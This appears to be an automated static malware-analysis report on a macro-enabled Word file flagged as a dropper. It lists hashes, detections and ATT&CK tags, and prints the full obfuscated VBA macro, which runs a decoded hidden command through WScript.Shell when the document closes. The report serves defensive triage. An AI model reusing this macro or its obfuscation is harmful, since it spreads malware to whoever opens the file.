Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b82fd4927cc93475…

MALICIOUS

Office (OOXML)

37.1 KB Created: 2017-10-25 18:34:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2019-05-16
MD5: 6d64c1e20c8953304a76f313f0e36e8e SHA-1: a83d6c9f14f0e5104492498fb98e91096ec9b9a0 SHA-256: b82fd4927cc9347513227a8b8d0a206a4678461b16c3acb5f6add2e5d1f089dd
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an OOXML document containing VBA macros. The macros utilize WScript.Shell to execute a command, likely to download and run a second-stage payload. The 'Document_Close' subroutine is triggered upon closing the document, and it calls the 'movimento' function with an obfuscated string, which is then executed by WScript.Shell. This indicates a dropper or downloader functionality.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6398325-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6398325-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
      If Len(plasma) < 4774 Then
        CreateObject("WScript.Shell").Run plasma, vbHide * 4
      End If
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      If Len(plasma) < 4774 Then
        CreateObject("WScript.Shell").Run plasma, vbHide * 4
      End If
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2010/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2576 bytes
SHA-256: 4a2a9a0ae17faea265500e61d8b5e1b5a7cb5516e059e29dcd94c1d5650057b5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function pinolo(multiplo As Integer) As String
 pavone = Array("$", "l", "P", "D", "d", "m", "p", "W", "w", "O", "S", "F", ".", "+", "?", "'", "q", "N", "n", "i", "g", ":", "s", "\", "-", "o", "A", ";", "h", "y", "=", "b", "j", "a", "v", "C", ")", " ", "z", "u", "B", "t", "e", "U", "E", "x", "k", "c", "(", "/", "r", "T", ",")
 Dim ritegno As Integer
 
 For ritegno = LBound(pavone) To UBound(pavone)
   If ritegno = multiplo Then
    pinolo = pavone(ritegno)
   End If
 Next
 
End Function


Public Function movimento(plasma As String)
  If Len(plasma) < 4774 Then
    CreateObject("WScript.Shell").Run plasma, vbHide * 4
  End If
End Function

Sub Document_Close()
 feralo = isolato("06250842502228420101372417254445194137244445424737402906332222372435250505331804374817420824093132424741371029224142051217424112074231350119421841361203250818012533041119014248152841410621494908041916080432285039333329292929332204040404124725054910104946331833414612013805155237004218342126020203265126371337152343173422055002061242454215362737104133504124025025474222223700421834212602020326512615234317342205500206124245421527374817420824093132424741371029224142051217424112074231350119421841361203250818012533041041501918204815284141062149490804191608043228503933332929292933220404040412472505492212062806141904304633183341461536")
 Application.Run "movimento", feralo
End Sub

Function utopia(ByVal celebre, ByVal scadenza) As String
 
 garbo = vbNullString
 ibernato = Array(celebre, scadenza)
 
 For revocato = 0 To UBound(ibernato)
   garbo = garbo + vbNullString + ibernato(revocato) + vbNullString
 Next
 
 utopia = garbo
End Function

Function isolato(Optional targato As String, Optional targato2)
  otre = dentro(Trim(targato))
  diedro = ""

  For ritegno = 0 To Len(targato)
    If (ritegno + 1) <= UBound(otre) Then
    pinna = otre(ritegno + 1)
    garzone = otre(ritegno)
    espanso = pinolo(Int(otre(ritegno) + pinna))
    diedro = utopia(diedro, espanso)
    ritegno = ritegno + 1
    End If
  Next
  
  isolato = diedro
End Function


Function dentro(paga As String, Optional ristoro As Integer) As Variant
    dentro = Split(Left(StrConv(paga, vbUnicode), Len(StrConv(paga, vbUnicode)) - 1), vbNullChar)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: 7ca47ab1bc59eed5c7d07a4a1b6b5c1ca5c8194b7bbebcc35c7c1d6eba37500c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).